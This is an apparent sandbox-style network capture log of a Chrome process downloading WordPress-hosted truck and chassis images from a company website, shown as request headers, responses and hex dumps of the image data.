2024-10-07 11:17:25 UTC	8000	IN	Data Raw: ae 62 c5 f2 c6 de 01 b9 c0 80 09 3d 75 76 f0 71 a0 02 80 e5 03 b2 d4 fe fa 15 25 4c 8b 6c d2 c9 89 90 e3 7d 89 c1 53 fa 44 99 33 59 d8 fc ff fa 90 51 33 eb fc 7b f6 bd 4a fe 61 f3 ec 57 3d a5 18 40 69 45 3d 47 9c 3b 45 12 12 2b 6c af aa 92 94 a2 02 07 75 83 cc a2 34 93 e7 1a c2 11 2e ea d4 87 29 27 b0 d0 88 d5 26 fe c7 a3 55 d1 52 99 ce 62 48 b1 19 ab 3e 13 07 ac 84 c9 60 49 92 90 58 e5 d6 ab aa 24 a5 a8 c0 41 dd 20 b3 a8 9b 21 e1 fa b3 09 b0 de 9c 95 e9 d5 44 d6 df da 95 05 84 51 e0 9e 36 1e 1e 13 9f 76 33 a1 a9 1a 35 4c 3e 39 a0 83 79 46 9e 94 7c 5d b3 e1 92 95 3b 85 ce f4 9e 7f a4 05 d3 d6 51 6a fb 0e 23 d2 58 f9 91 47 bd 20 eb 6c 67 17 44 c8 82 b1 16 ba aa b6 60 80 4a 06 cc 96 a9 1c cf 04 5c cc 61 3a 1e b6 ab cc d2 ba ec 67 d8 d9 29 59 28 23 90 2d 90 Data Ascii: b=uvq%Ll}SD3YQ3{JaW=@iE=G;E+lu4.)'&URbH>`IX$A !DQ6v35L>9yF\|];Qj#XG lgD`J\a:g)Y(#-
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: 04 c2 02 1f 9c cc ea fa d7 16 c2 66 c5 f2 42 e4 87 10 1e 7e f2 50 b9 e7 91 fd e5 ef 3e fa 99 f2 67 1f fa ab f2 18 16 da 0e 61 47 9b 7d 61 d5 fa f0 01 fb ad a5 f5 5c 78 63 47 64 a7 66 62 1e f4 c1 dd a9 f8 8f 75 a7 3f db a9 c7 29 f8 e1 03 e5 0d 97 5e 58 7e e5 9d 3f 53 2e bf e4 bc 72 d1 79 af 2a 5b b7 6c 44 9f f6 74 d6 a7 59 92 67 d9 fe 18 27 42 b9 74 c6 57 46 bf ff d8 9e 72 cf 83 4f 96 7f c0 2e db 0f fd c5 df 94 c7 b0 50 7d 04 e5 2e 5c 88 e4 9f 75 1f 5c 03 16 95 db 9b d8 6d eb 38 e4 5d 8f d7 06 f1 3b c4 85 ca 33 ca 3b 7f f6 a7 ca 4f 5d 71 69 b9 14 3b 47 4f c6 2e b7 0d dc 82 c7 1a 01 bc 1f d7 76 2f 56 db fe f4 43 7f 5b fe 9f 3f f9 50 79 e2 89 a7 cb de 7d fb f1 3a f7 55 58 f8 7e 23 16 78 2e 2e 17 63 a1 d3 7f 53 92 25 a4 53 fe 59 0e 76 76 09 6c ad 3f 6d 26 3c Data Ascii: fB~P>gaG}a\xcGdfbu?)^X~?S.ry*[lDtYg'BtWFrO.P}.\u\m8];3;O]qi;GO.v/VC[?Py}:UX~#x..cS%SYvvl?m&<
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: f7 ab 1e ea 08 b6 d8 ad 91 83 f8 5d c1 41 fc 86 58 fa 5d cf c3 c4 d8 3e 71 d7 30 ef 64 f9 49 f9 27 f5 cf 07 54 38 72 ea 07 62 72 fc 25 48 20 2e a0 bf bd f9 c7 83 21 a4 c3 68 bb a0 60 08 91 49 2d da 80 b0 fe e1 3e 7a 2d 3c ae bf 56 7f 14 5e 0b f7 7e a5 c1 e5 48 42 b2 fc f8 a4 1a ca 4c fb 50 42 e1 3e 7a 2d 3c ae bf 56 7f 14 5e 0b f7 7e a5 c1 e5 48 42 52 fe 49 f9 c7 be d4 42 9d d1 3e d4 90 70 1f bd 16 1e d7 5f ab 3f 0a af 85 7b bf d2 e0 72 24 e1 bf b1 fe 49 0a be 20 42 fe fa 2d 2c 20 47 a0 57 b8 a9 5b 74 2e 96 db 19 16 90 eb 00 da 36 00 0e ac 5d b7 05 20 ea ac 03 23 62 54 c8 57 d3 03 53 c6 d8 2f 7e fe 94 f5 eb d5 c1 da b5 0a 00 2c fd 70 f7 37 f0 e4 a1 bc b4 58 3b 75 f6 22 40 c3 29 9b 33 77 91 2d 5f bb 85 05 71 00 be 68 c1 98 0e 3b a8 7f 6e 3f 1b 37 72 10 0c Data Ascii: ]AX]>q0dI'T8rbr%H .!h`I->z-<V^~HBLPB>z-<V^~HBRIB>p_?{r$I B-, GW[t.6] #bTWS/~,p7X;u"@)3w-_qh;n?7r
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: d1 7f 31 3d 03 f0 53 f3 a0 98 9a 04 d0 a1 fe 0a f8 71 93 01 a5 08 bd fa 66 d2 dc d1 ab 67 47 fa 3c d3 1e 7f 78 92 9b d3 86 2f 46 24 0c ff ee a3 61 cb 61 b2 fe 1b 8c b6 7d 65 c7 91 81 cc 96 f5 0d 54 03 13 32 2b 00 da e4 1f 10 56 9b e6 7a 3a cc e5 e8 fa 47 1e be 8f 49 27 7a 1c 4b 8a ec ee 72 f5 2e 49 fe 80 a7 47 2e c6 0f e3 07 f1 72 eb 53 12 eb 12 29 38 76 18 bd f3 de 49 c9 f2 91 80 8b 2a 22 af f8 61 fc 20 29 7f c4 f4 d7 7c ff dd 55 3b eb c5 19 53 c8 d8 ce d3 23 17 e3 87 f1 83 a4 fc ff 9b cb bf 7d e1 2b 62 b4 bd 5c 57 b1 e5 dd e0 07 1f 02 a9 57 8f 7a 7d 0a d3 c2 bd ae 84 c7 e1 be fe ee 3b 8f a2 77 44 8f c3 fb f8 19 a0 2f 04 8d 04 b6 bb df 71 ef 81 72 b7 fb 83 9c c2 cf e8 1d d1 e3 fa eb c9 f2 93 f2 4f ea 5f 30 1e ee 3e 42 92 e3 ef 5e 5f d4 77 93 57 38 b3 34 Data Ascii: 1=SqfgG<x/F$aa}eT2+Vz:GI'zKr.IG.rS)8vI*"a )\|U;S#}+b\WWz};wD/qrO_0>B^_wW84
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: dd 41 fb e4 eb 1f 6c 0b 11 19 e5 c0 bf 06 5f 5f f2 e5 93 37 30 0b e6 c7 44 fc 0e 65 db d0 dc ae 8e 07 5c 62 d1 fd 39 51 24 3f 98 3b df 4d 39 af df 0c 16 bf 72 fc 3c 69 42 11 e6 a6 85 80 6c 3d 2d 17 67 f1 5a 88 e9 07 bd 16 77 aa 09 6e 8a 6c 25 8c b6 7f fc 0d c1 10 f6 1e 75 96 43 00 b4 11 e9 14 b3 cf 02 98 45 f7 15 0d b4 69 e3 07 02 b4 c1 68 f3 a7 78 96 e7 e4 77 87 a2 ec 1c 8b af 3d 07 4f db 7b 1f cc b5 d5 f8 61 0a cc 68 58 7e c3 c4 ea dd a3 33 fe 6a 30 e3 22 80 c3 e8 61 79 1e 3d 52 02 10 1e a0 c5 db ef 3e 04 68 7b 7b ae 2f 9c e5 0b ca 58 78 8b bc 54 84 bf a0 09 32 65 82 91 32 d0 81 36 18 19 98 3d 39 0b 0a d3 a3 cf be 9c ef 66 aa 92 b7 2a d3 88 05 7f 3e ec a7 e9 38 f0 1f 89 6c 0a 58 a8 35 83 81 e7 8b 4c ca 12 18 a0 ff 41 07 92 e0 1b 6c 25 09 5e 18 01 20 8b Data Ascii: Al__70De\b9Q$?;M9r<iBl=-gZwnl%uCEihxw=O{ahX~3j0"ay=R>h{{/XxT2e26=9f*>8lX5LAl%^
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: af 5c d8 1a 7c ff 49 bb 82 6b ae 57 7e 53 ec 5e 5d a1 fd 3a 93 f9 58 35 ac 16 99 ea ad 87 7d b9 62 dd 76 3b 88 89 ad 33 82 58 e0 06 8f 05 80 83 80 5c 6d fa d4 a1 33 0a 19 74 5a a4 a6 48 41 b4 39 e2 46 ce b1 fc 03 53 b9 9b 0e 7c e6 64 75 c5 3f 52 9e 3d 0a a3 ac 3f 91 73 03 39 01 87 70 6f 05 a6 8b c7 71 82 3f 7f b1 fc 4c 7d 09 d0 46 1f cb a1 3d 20 5d 5d cd 0d 7b 68 da 58 7b 78 da 18 a2 96 f6 b2 ec de 5d 7c d1 e1 2a a3 a2 a4 2f 54 48 c3 00 12 26 40 f8 6e 16 db f3 6c 3b 7d ae e8 9c 6a bf 1e 68 5c 47 9e b7 af d9 cf 9e 9d 61 ff f7 af 9e 87 61 da dc 81 36 b5 47 b2 d2 28 0c 8e 3d 21 f1 43 c2 e2 a2 ca 94 cf 2e dd e7 78 22 fb 00 c0 0c e6 00 9a e2 72 d5 ed aa 8f e7 c7 87 e6 26 f9 e1 ab 02 58 29 03 10 fa 1d 40 e0 32 f4 49 8e e7 9d 19 28 10 01 b3 38 f9 58 13 08 3e 13 Data Ascii: \\|IkW~S^]:X5}bv;3X\m3tZHA9FS\|du?R=?s9poq?L}F= ]]{hX{x]\|*/TH&@nl;}jh\Gaa6G(=!C.x"r&X)@2I(8X>
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: fe 86 31 41 9b c1 84 e9 72 7e d5 ff c0 bb 17 84 33 a6 4e 08 83 58 16 a6 e9 8c 26 48 32 b2 c8 d8 f6 95 7f bd 2b fc bf 5f fe 1e 9e 6a ca 53 5b 55 1f c1 03 ad 1f 7b b4 e1 d1 c6 86 e2 57 cc 9b 65 86 36 c9 5d 7f 9a 40 ad df bc 83 49 27 7b 2b 3d b5 d8 4e 7e 5b cf 12 30 2d dd a2 c2 3c 1c 65 8f 1c 1e 46 e3 8d 35 7e 2c c6 30 fe b4 2c d4 97 b6 69 12 b5 63 d7 de b0 67 a7 fe 76 e0 0d 34 38 7c 0c e3 d7 35 97 5f 1c d8 9a 8c e7 d8 14 ee c3 d0 f5 18 cb 69 9f 63 0f b3 ad db e4 e5 a0 5a 23 31 b2 3f 65 e2 84 30 6d c6 a9 4c 86 fb e2 a5 24 43 24 15 e2 da 8a 77 a3 26 a3 3b 77 ee c2 cb 70 9f 19 96 0e 33 1b 37 32 93 62 19 15 66 cd 62 e9 28 7b fe 2c b8 98 a5 a3 a3 65 68 c3 f8 a2 46 ae f2 58 8e 47 d6 4b 4b e4 d1 b6 d0 3c 34 cc 9b 0e 99 f4 f5 53 47 d9 8f 49 86 b6 91 4c 42 47 60 a7 Data Ascii: 1Ar~3NX&H2+_jS[U{We6]@I'{+=N~[0-<eF5~,0,icgv48\|5_icZ#1?e0mL$C$w&;wp372bfb({,ehFXGKK<4SGILBG`
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: 6c 86 bd 85 89 cf 32 ab e3 7e 0c 30 b6 7f 95 0a b7 f2 f1 d0 c0 85 64 fa 54 26 58 53 27 33 d9 1e 17 a6 69 e3 fb 09 6c 2e 4f fd b5 97 9d 72 97 e9 72 3f 9e 32 3b f0 f2 7a 03 63 d3 eb 18 17 97 2e 5b c9 e4 6d 39 9e 72 5a 4e a9 ec c8 10 fe 39 b3 d9 28 9d 13 4e 65 64 93 d1 ee 24 32 d1 92 ba a5 c8 e9 d5 d7 d7 72 aa dd 73 18 48 d6 f2 5c 7d 28 73 12 27 fa 5d 83 37 d1 e9 c8 e7 e4 b8 79 b9 32 b1 dc 58 8a 8c c1 70 e5 9a f5 4c f8 5e c1 68 f4 22 c6 2f b5 10 35 a2 7d e5 2d f6 be f7 dc 1c ae bf e6 4a bc d9 d8 b4 9c 06 d6 24 54 6d 6c 59 a8 3e 11 20 cc af 12 6f f5 ae f4 2b 4e 62 c9 04 16 99 de 34 15 95 e1 6a 0f 06 b7 55 78 ce ac 5b bf 1d 6f be 5d 2c f5 dc 8c d7 c6 72 3c 45 b6 a1 1f ca 9b 51 48 89 95 94 49 ee c8 61 c3 30 1c b0 27 20 87 44 cc 9a 79 3a de 34 4c 4a d9 7c 7c 0c Data Ascii: l2~0dT&XS'3il.Orr?2;zc.[m9rZN9(Ned$2rsH\}(s']7y2XpL^h"/5}-J$TmlY> o+Nb4jUx[o],r<EQHIa0' Dy:4LJ\|\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49880	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:26 UTC	688	OUT	GET /2016/wp-content/uploads/2021/03/typical-chassis-structure-focusing-on-frame-rails.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238
2024-10-07 11:17:26 UTC	235	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:26 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 03 Mar 2021 20:51:27 GMT Accept-Ranges: bytes Content-Length: 1724038 Content-Type: image/png
2024-10-07 11:17:26 UTC	7957	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 f6 00 00 03 80 08 06 00 00 00 72 cc b0 0c 00 00 0c 6c 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 52 49 68 01 04 a4 84 de 04 e9 04 90 12 42 0b 20 bd 08 36 42 12 48 28 31 26 04 15 3b ba a8 e0 da 45 14 2b ba 2a a2 d8 56 40 ec d8 95 45 b1 f7 c5 82 8a b2 2e ea 62 43 e5 4d 48 40 d7 7d e5 7b e7 fb e6 de 3f 67 ce fc a7 dc 99 dc 7b 00 d0 fa c0 93 4a f3 51 6d 00 0a 24 85 b2 c4 88 10 e6 a8 f4 0c 26 a9 03 20 40 03 90 80 0b 20 f3 f8 72 29 3b 3e 3e 06 40 19 b8 ff 5d de dd 80 d6 50 ae 3a 2b b9 fe 39 ff 5f 45 57 20 94 f3 01 40 c6 40 9c 25 90 f3 0b 20 3e 0e 00 be 96 2f 95 15 02 40 54 ea ad 26 15 4a 95 78 16 c4 7a 32 18 20 c4 2b 94 38 47 85 b7 2b 71 96 0a 1f ee b7 49 4e e4 40 Data Ascii: PNGIHDRrliCCPICC ProfileHWXS[RIhB 6BH(1&;E+*V@E.bCMH@}{?g{JQm$& @ r);>>@]P:+9_EW @@% >/@T&Jxz2 +8G+qIN@
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: 31 04 64 e2 21 ef d4 54 83 78 2b b5 33 48 22 66 c5 10 90 89 87 bc 53 53 0d e2 ad d4 ce 20 89 98 15 43 40 26 1e f2 4e 4d 35 88 b7 52 3b 83 24 62 56 0c 01 99 78 c8 3b 35 d5 20 de 4a ed 0c 92 88 59 31 04 64 e2 21 ef d4 54 83 78 2b b5 33 48 22 66 c5 10 90 89 87 bc 53 53 0d e2 ad d4 ce 20 89 98 15 43 40 26 1e f2 4e 4d 35 88 b7 52 3b 83 24 62 56 0c 01 99 78 c8 3b 35 d5 20 de 4a ed 0c 92 88 59 31 04 64 e2 21 ef d4 54 83 78 2b b5 33 48 22 66 c5 10 90 89 87 bc 53 53 0d e2 ad d4 ce 20 89 98 15 43 40 26 1e f2 4e 4d 35 88 b7 52 3b 83 24 62 56 0c 01 99 78 c8 3b 35 d5 20 de 4a ed 0c 92 88 59 71 fc 6e e6 7f fd f9 33 ff eb ba f9 13 7c 9f 66 8d da 3f ec f7 6d bc 95 93 c9 5c 08 40 cc e9 2e 14 96 6f e3 ad 9c 4c e6 42 00 e2 35 6b 12 61 f9 36 de ca c9 64 2e 04 20 e6 74 17 0a Data Ascii: 1d!Tx+3H"fSS C@&NM5R;$bVx;5 JY1d!Tx+3H"fSS C@&NM5R;$bVx;5 JY1d!Tx+3H"fSS C@&NM5R;$bVx;5 JYqn3\|f?m\@.oLB5ka6d. t
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 Data Ascii: ;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: 47 8c 69 7a fe ae 7f af bf b5 7b 7b ff 75 ff 99 9d 78 7d 46 bb e4 9c e8 fe 3b 2a d2 e7 df 2c 42 ac 8d 8f e7 c7 09 bb c7 7d a8 7d fe f6 f9 db e7 ef d8 23 7f c6 ff f5 f9 a3 0e d3 e7 4f 9f bf 63 31 ac f5 b0 8e 8e f7 f9 e1 47 d1 db 01 4b f4 11 fd f5 5f 7f fd db df 7f e8 ef bf cc 2e d3 e7 6f df 3f fa fe d5 f7 af 7d 3f 18 d7 85 fe fe 47 df bf fa fe b9 8e c6 fe fe 57 7f ff 6f 2c 04 9d 0e bb 49 d6 f0 f1 15 d6 1e f7 a1 f6 f7 ff fa fb 7f fd fd bf b1 47 fa eb 8f fe fa a3 bf fe d0 09 d3 f7 ef fe fa 63 2c 86 be 7f af a3 a1 ef df 7d ff de f7 e8 11 3e 3e 1f 37 ec e1 9e bb e8 56 ff 99 bf b1 af d0 4a 04 3e a6 4a 1a e7 7c d1 bc c7 11 e5 c0 20 a2 82 22 2b 11 a8 e6 47 86 93 79 89 b2 62 10 51 41 91 95 08 54 f3 23 c3 c9 bc 44 59 31 88 a8 a0 c8 4a 04 aa f9 91 e1 64 5e a2 ac 18 Data Ascii: Giz{{ux}F;*,B}}#Oc1GK_.o?}?GWo,IGc,}>>7VJ>J\| "+GybQAT#DY1Jd^
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: b3 30 f5 fd 67 ad b9 33 3b d6 b5 07 fd c0 7b 60 f2 96 6e 17 67 c2 04 d9 db b4 1c 8e 20 13 51 e6 30 1f 98 7a 7c 8b 80 c7 45 82 93 30 41 c7 df c2 d4 eb bf ae b9 99 1d 63 7d 15 71 e0 3d 30 79 13 b7 8b 33 61 82 ce bf ce bf 5e 7f 96 03 73 45 54 5c 96 de 5c 54 d5 ac 8d d5 e3 76 71 26 4c 90 e3 4e cb ab 6b fc 1b 3b de fb 36 f9 bf f2 a9 ff 74 fb 99 4f fe 27 f6 ad 62 8f 6d 37 d7 8f 7a 14 ae f0 6d 7c b7 cf 6d ef 7d cf d3 db 47 3f fc ef 6e df ff b6 3f 69 3f c5 7b 65 df da 77 63 c7 6d df 0e 63 df b8 c4 e3 a6 44 43 c5 de 51 d9 1d 78 0f 4c de c4 ed e2 4c 98 20 c7 9a 96 1e 5f 63 51 42 3f 83 5a cd 67 0d dc 2e ce 84 09 3a fe 16 c9 be ff a9 6b 6e 66 47 4d b3 d0 0e bc 07 26 e7 ba 5d 9c 09 13 74 fe 75 fe f5 fa b3 1c 98 2b a2 e2 58 73 ba 57 e6 b0 1f 98 dc e3 76 71 26 4c 90 e3 Data Ascii: 0g3;{`ng Q0z\|E0Ac}q=0y3a^sET\\Tvq&LNk;6tO'bm7zm\|m}G?n?i?{ewcmcDCQxLL _cQB?Zg.:knfGM&]tu+XsWvq&L
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: 52 49 48 43 05 c5 9d 4a 82 4a 3e d0 c8 e4 b8 94 49 25 21 0d 15 14 77 2a 09 2a f9 40 23 93 e3 52 26 95 84 34 54 50 dc a9 24 a8 e4 03 8d 4c 8e 4b 99 54 12 d2 50 41 71 a7 92 a0 92 0f 34 32 39 2e 65 52 49 48 43 05 c5 9d 4a 82 4a 3e d0 c8 e4 b8 94 49 25 21 0d 15 14 77 2a 09 2a f9 40 23 93 e3 52 26 95 84 34 54 50 dc a9 24 a8 e4 03 8d 4c 8e 4b 99 54 12 d2 50 41 71 a7 92 a0 92 0f 34 32 39 2e 65 52 49 48 43 05 c5 9d 4a 82 4a 3e d0 c8 e4 b8 94 49 25 21 0d 15 14 77 2a 09 2a f9 40 23 93 e3 52 26 95 84 34 54 50 dc a9 24 a8 e4 03 8d 4c 8e 4b 99 54 12 d2 50 41 71 a7 92 a0 92 0f 34 32 39 2e 65 52 49 48 43 05 c5 9d 4a 82 4a 3e d0 c8 e4 b8 94 49 25 21 0d 15 14 77 2a 09 2a f9 40 23 93 e3 52 26 95 84 34 54 50 dc a9 24 a8 e4 03 8d 4c 8e 4b 99 54 12 d2 50 41 71 a7 92 a0 92 0f Data Ascii: RIHCJJ>I%!w@#R&4TP$LKTPAq429.eRIHCJJ>I%!w@#R&4TP$LKTPAq429.eRIHCJJ>I%!w@#R&4TP$LKTPAq429.eRIHCJJ>I%!w@#R&4TP$LKTPAq
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: b7 eb 6f d7 df 7d b5 60 1d 61 d5 a0 84 9d 98 92 dc bd 54 86 62 32 bb fe 74 fd e9 fa d3 f5 27 ea c1 71 85 e8 fb bf be ff 9b d7 1c 64 0a f3 84 92 57 93 bd 54 86 62 32 fb fa d3 d7 9f be fe f4 f5 27 ea c1 71 85 e8 eb cf d7 f3 fa 73 cf 4e cd 03 fb e7 df d8 f7 09 fb c6 be eb c7 ed c1 be c7 ed 22 30 be b1 6f 7b 7e 7b ef bb f0 53 bc 3f 6e 3f c5 fb 96 f9 53 bc 7e 4a f5 8c 2a 8e f3 8d 2b 49 d7 bf ae 7f 5d ff 62 3d 1c af 90 ae 7f 5f cf fa c7 73 42 89 33 45 4c c9 6a b6 97 ca 50 4c 66 d7 bf ae ff 5d ff bb fe 47 3d 38 ae 10 af be fa 2f df d8 37 0e c9 85 1e 9e da 71 f0 ea 63 71 7c e9 32 5b 1b 28 bf e7 cd 7e 9d 90 ac 39 5e 9a 12 bc f4 41 85 99 ad 0d f4 f8 91 b0 11 9e 11 19 17 19 a5 af 7a fc 79 6a 6e c6 f9 bf b2 a1 af b0 f3 67 6c b1 1f 38 4d 09 d8 f4 65 c9 6c 6d e0 95 74 Data Ascii: o}`aTb2t'qdWTb2'qsN"0o{~{S?n?S~J*+I]b=_sB3ELjPLf]G=8/7qcq\|2[(~9^Azyjngl8Melmt
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: e7 ec 0c 27 c6 f5 07 33 41 fc a3 31 3a 35 27 6c b6 b7 58 ce eb 4f 8c ef 34 c4 14 71 f6 49 c4 ba 05 df 7d d6 1a cc a8 95 c3 87 fe ca 36 98 9e 9c 63 7c 72 ac ef 60 db 1e 2e 4b 56 d4 a1 cd 3e 50 47 e2 c6 31 60 7c b3 21 fe 66 c1 3c b1 79 1a b9 1d 7e ce 17 63 61 20 e4 21 58 b6 19 07 34 34 43 0f 78 60 f8 2b cf bd b0 fd b3 7f fe 7b db 1f 7c f9 2b 61 37 2e c6 1d ab c1 1b e1 67 e9 7d 7c 9b a3 9f 2b 3c 2c 73 6b 57 15 cc 03 e7 d2 fd db f6 6d df fa c6 ed 2d 7f fc db ff 7f f6 de f3 6d af eb 38 ef 1d 34 a2 f7 de 01 12 04 c0 4e b1 48 a2 48 4a 2c 12 d5 1b 25 59 56 b5 6c ab d2 ce 91 73 72 3e 24 39 7f c0 b9 ae 5c b1 1d e7 9c 0f 89 1d db 71 95 1c 3b b2 3a 25 aa b0 f7 02 90 20 48 80 20 7a ef bd b7 73 ff ee 59 6b 3f fb 79 5e bc a6 9c 58 56 f1 bb 81 77 af 32 b3 66 66 cd 9a 55 Data Ascii: '3A1:5'lXO4qI}6c\|r`.KV>PG1`\|!f<y~ca !X44Cx`+{\|+a7.g}\|+<,skWm-m84NHHJ,%YVlsr>$9\q;:% H zsYk?y^XVw2ffU
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: 54 10 f8 a7 f3 29 f3 71 b2 c8 31 a4 24 84 03 3b fd 6f 38 95 26 42 65 aa 8b f4 85 2e 0a 97 d4 67 49 14 b9 93 1e b4 91 27 71 f7 1c 3c 16 5b f4 a3 a9 af 7c ed 07 f1 e7 7f f3 2d 8d 25 c3 b5 49 77 91 9e 8d 64 39 3e 95 1d 83 c0 65 36 57 0f 59 14 2e 3a c5 5f cf 4f 43 f4 99 f9 61 3a 21 7d 84 1e b2 46 5c 34 28 66 ea d4 be 3b 74 ea dd eb af 59 aa 1f 9f cc d6 09 d3 63 dc 1f 91 b5 b0 75 7b 79 5d 26 32 34 4f b6 7f 4a ee 93 fc 54 9b c1 5a f7 5a 4a f7 75 da dd 2c 45 c3 ad 0c 35 fd cb 36 52 42 ba 51 dc 7f a4 d4 b6 c2 07 f7 8c 22 27 b5 ae de 73 f0 54 3c a7 cf ef fe f1 9f 7d 25 9e 5b fe 92 d6 bc e5 54 4c d1 9f 33 73 62 2c 5d 30 53 8e f8 b7 c5 fb e5 d8 07 2b e4 62 2a df a7 1f c7 2c 5f bd 3d 1e d0 7a e0 3b f7 de 1f 3b 76 e8 73 c5 7a bf c2 b9 ae 83 ce 9e 8a cf 7e 86 13 fb ee Data Ascii: T)q1$;o8&Be.gI'q<[\|-%Iwd9>e6WY.:_OCa:!}F\4(f;tYcu{y]&24OJTZZJu,E56RBQ"'sT<}%[TL3sb,]0S+b*,_=z;;vsz~
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: 9e f3 af 42 bf 78 cb f9 c5 8a 2f ed e0 b5 b0 da 34 d7 df 75 d6 68 91 05 b9 8b 4f 2b d1 8a 9a 66 2f 6a 2d 58 f1 6a 58 91 9b 30 01 15 5c c3 1e 70 49 b6 a0 ad 68 c5 ed ce 2a a9 9a 59 c3 8a dc 84 09 a8 e0 1a f6 80 4b b2 05 6d 45 2b 6e 77 56 49 d5 cc 1a 56 e4 26 4c 40 05 d7 b0 0d 76 97 f7 3c 2e a8 13 82 16 44 d6 01 80 bc 5a 23 6c a5 79 ff c1 8f 0e b0 8c fc 6f 44 90 5b 97 e0 2d fb 63 0c 49 f3 e0 4e 39 85 fd f4 ff 8e fd 61 5b f5 99 b2 92 ee d8 9f f1 60 5d ec ae 62 10 fe 43 fd 7f 80 ff 4f a6 ff ea 8c 87 c6 3b 2a ee d6 bf 21 1d 60 67 dd e8 b6 d5 ea 51 30 de 17 b3 2e 1b cc 78 01 2d 82 9e f6 67 4c f1 75 81 f6 ec ce 2a a9 9a 59 c3 2c dd ba 27 a0 82 6b d8 20 74 65 b4 12 ad 68 c5 ed ce 2a a9 9a 59 c3 8a dc 84 09 a8 e0 1a f6 80 4b b2 05 6d 45 2b 2e 59 ac 93 d9 c3 fa bd Data Ascii: Bx/4uhO+f/j-XjX0\pIhYKmE+nwVIV&L@v<.DZ#lyoD[-cIN9a[`]bCO;!`gQ0.x-gLuY,'k tehYKmE+.Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49881	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:26 UTC	656	OUT	GET /2016/wp-content/uploads/2020/11/Picture-of-truck1.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238
2024-10-07 11:17:26 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:26 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 16 Nov 2020 18:15:55 GMT Accept-Ranges: bytes Content-Length: 80940 Content-Type: image/jpeg
